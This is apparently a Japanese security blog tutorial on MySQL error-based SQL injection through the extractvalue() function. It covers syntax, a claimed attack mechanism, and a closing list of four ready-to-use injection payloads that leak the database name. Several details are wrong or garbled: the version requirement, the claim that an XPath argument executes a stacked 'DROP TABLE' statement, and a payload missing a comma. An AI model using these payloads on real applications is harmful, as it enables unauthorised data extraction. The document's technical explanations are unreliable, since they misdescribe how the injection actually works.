目次
(***注: バージョン要件に注意してください)
extractvalue() エラー挿入
1. 文法の紹介:
バージョン:
MySQL<5.0.x
文法:
EXTRACTVALUE(xml_expression, xpath_expression)
xml_expression は XML タイプのフィールドまたは式、xpath_expression は抽出するノードを指定するために使用される XPath 式です。
原理:
- まず、関数は xml_expression を解析し、XML ドキュメント オブジェクトに変換します。
- 次に、関数は xpath_expression で指定されたパスを使用して、抽出するノードを見つけます。
- 最後に、関数は見つかったノードの値を返します。
使用:
次のように、XML タイプのフィールド xml_data があるとします。
<book>
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<year>2001</year>
</book>
次のように、extractvalue() 関数を使用してノード値を抽出できます。
SELECT EXTRACTVALUE(xml_data, '/book/title') AS title,
EXTRACTVALUE(xml_data, '/book/author') AS author,
EXTRACTVALUE(xml_data, '/book/year') AS yearFROM books;
上記の SQL ステートメントは、xml_data フィールドから「title」、「author」、および「year」ノードの値を抽出し、結果セットとして返します。
2. エラーの理由
原因:
extractvalue() 関数で、xpath_expression パラメーターがユーザー入力によって制御できる場合、攻撃者は悪意のある XPath 式を構築してインジェクション攻撃を実行する可能性があります。たとえば、攻撃者は、xpath_expression パラメータが悪意のある SQL ステートメントになるように悪意のある入力を作成する可能性があります。
例:
SELECT * FROM books WHERE title = EXTRACTVALUE(xml_data, '/book/title')
xpath_expression パラメーターがユーザー入力によって制御できる場合、攻撃者は次のような悪意のある入力を作成する可能性があります。
'; DROP TABLE books; --
このようにして、最終的に構築された XPath 式は次のようになります。
/book/title'; DROP TABLE books; --
この悪意のある入力が extractvalue() 関数に渡されると、悪意のある XPath 式が引数として実行されます。XPath 式には SQL コメント (--) が含まれているため、後続の SQL ステートメントは無視され、DROP TABLE Books ステートメントが実行され、books テーブルが削除されます。
ペイロード:
and (extractvalue(1,concat('~'(select database()))));
and (extractvalue('anything',concat('/',(select database()))));
and (extractvalue('anything',concat('~',substring((select database()),1,5))));
and extractvalue(1,concat(0x7e,(select database()),0x7e))#
ネットワークセキュリティ同人誌
GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge